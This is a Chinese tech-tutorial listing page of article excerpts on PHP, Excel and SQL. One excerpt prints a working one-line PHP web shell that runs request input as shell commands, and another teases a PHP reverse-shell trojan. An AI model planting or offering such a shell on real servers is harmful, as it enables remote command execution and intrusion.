-
session在PHP大型web应用中的使用
本文为大家讲解分析了session在PHP大型web应用中的使用方式,感兴趣的同学参考下。 对于访问量大的站点,用默认的session存贮方式并不适合,目前最优的方法是用数据库存取session. 这时,函数bool session_set_save_handler ( callback open, callback close, callback read, callback write, callback destroy, callback gc )就是提供给我们解决这个问题的方案. 该函数使用的6个函数如下: 1. bool open() 用来打开会话存储机制, 2. bool close() 关闭会话存储操作. 3. mixde read() 从存储中装在session数据时使用这个函数 4. bool write() 将给定session ID的所有数据写到存储中 5. bool destroy() 破坏与指定的会话ID相关联的数据 6. bool gc() 对存储系统中的数据进行垃圾收集 例子见php手册session_set_save_hand...
PHP 2014-12-15 01:09:03 -
php中is_null,empty,isset,unset 的区别介绍
本文为大家讲解的是php中is_null,empty,isset,unset 的区别介绍,感兴趣的同学参考下。 is_null, empty, isset, unset 我们先来看看这4个函数的描述...
PHP 2014-12-15 00:45:05 -
PHP正则替换函数preg_replace和preg_replace_callback使用总结
本文主要为大家讲解了PHP正则替换函数preg_replace和preg_replace_callback的使用方法,感兴趣的同学参考下. 在编写PHP模板引擎工具类时,以前常用的一个正则替换函数为 preg_replace(),加上正则修饰符 /e,就能够执行强大的回调函数,实现模板引擎编译(其实就是字符串替换)。 应用举例如下: <?php /** * 模板解析类 */ class Template { public function compile($template) { // if逻辑 $template = preg_replace("/<!--{ifs+(.+?)}-->/e", "$this->ifTag('\1')", $template); return $template; } ...
PHP 2014-12-13 22:33:11 -
微软Office Excel使用中的种种限制
核心提示:Excel不是万能的,在一些方面总有限制让人觉得不爽,于是我们就看到论坛上的朋友一个劲的在那问一些Excel没有办法做到的问题。 在Excel不是万能的,在一些方面总有限制让人觉得不爽,于是我们就看到论坛上的朋友一个劲的在那问一些Excel没有办法做到的问题,而且是你问过我问非有不问到死不罢休的架势...
系统程序 2014-12-13 18:00:07 -
php preg_match_all结合str_replace替换内容中所有img
本文是一个php结合preg_match_all函数结合str_replace函数实现的可以用来替换内容中所有img标签的代码,感兴趣的同学参考下. 最近做站的时候,采集了大量的数据,但采回来的数据基本上都要经过过滤原站保留的数据,其中IMG就是一个地方。网站上好多这些应用例子似乎没有必要“秀”出来,但站已几天没写日志,那就来一个吧 采集回来的图片img标签中,有好多javascript脚本和无用的信息,必需过替换自己想要的,比如alt...
PHP 2014-12-13 07:36:04 -
php一句话cmdshell新型 (非一句话木马)
本文为大家讲解了一个新的一句话木马写法:"`"(键盘上~符号的下档键),和python中一样,这个符号中的命令会被php解析器执行,感兴趣的同学参考下. php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型); <?php /*一个新型的php一句话cmdshell(非一句话木马) //原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型); //局限性:特征码比较明显,``符号在php中很少用到,杀毒软件很容易以此为特征码扫描到并警报;``里面不能执行php代码; //write by skyfire */ echo `$_REQUEST[id]`; ?> ...
PHP 2014-12-13 05:27:08 -
如何将.txt转换成excel电子表格?
如果要求把一千多行,每行有一个名字的这个.txt的文件做成excel表格,如何解决呢?难倒复制粘贴1500次? 其实这个问题也不是很难,精通MS Word的人应该知道,在word里菜单栏“表格”菜单中有一个“转换”命令"——“文本转换成表格” “表格转换成文本”我就是使用这个命令来进行转换的。具体操作:首先将.txt文件里的内容复制粘贴到word中...
系统程序 2014-12-13 03:36:04 -
用sql命令修改数据表中的一个字段为非空(not null)的语句
本文为大家讲解的是sql中的not null语法使用示例,感兴趣的同学参考下。 问题说明: 今天群里的一个朋友问如何用sql命令修改数据表中的一个字段为非空(not null),经常测试下面的代码即可...
数据库操作教程 2014-12-13 03:24:05 -
Office Excel 2007六则小技巧
如果使用下面介绍的这些自定义选项,需要单击“Office”按钮,然后单击“Excel选项”按钮打开“Excel选项”对话框(除了最后一个)。 1.更改默认工作表数 默认情况下,当打开Excel时(微软认证),会新建一个空白工作簿,该工作簿包含3个空白工作表...
系统程序 2014-12-12 13:57:06 -
php反弹shell实现代码(反弹木马)
本文为大家讲解了一个php实现的反弹shell的示例代码(反弹木马),并简单讲解了他的原理,感兴趣的同学研究学习下. 遇到一个BT的网站,上传php文件成功之后,每访问一次,文件名就会随机改变一次,并且你访问当前文件如果点其他操作项,文件仍然会改名。 非常无 奈,没想 到什么好的办法,后来灵光一闪...
PHP 2014-12-12 12:06:13 -
将Excel转换成pdf格式的文件
可能有时候我们需要将Excel转换成pdf格式的文件,许多人就会在网上找一些Excel转换成pdf的软件来帮他实现,但是网上大部分这种转换软件都是要收费的,免费的要么就转换成乱码,要么就转换失败,更可怕的是还可能会下载个什么病毒木马类的程序,导致计算机奔溃,文件丢失等各种毛病。 在我看来这些朋友都有个共同的特征,就是全部使用的是 Office 2003 办公软件...
系统程序 2014-12-12 09:12:08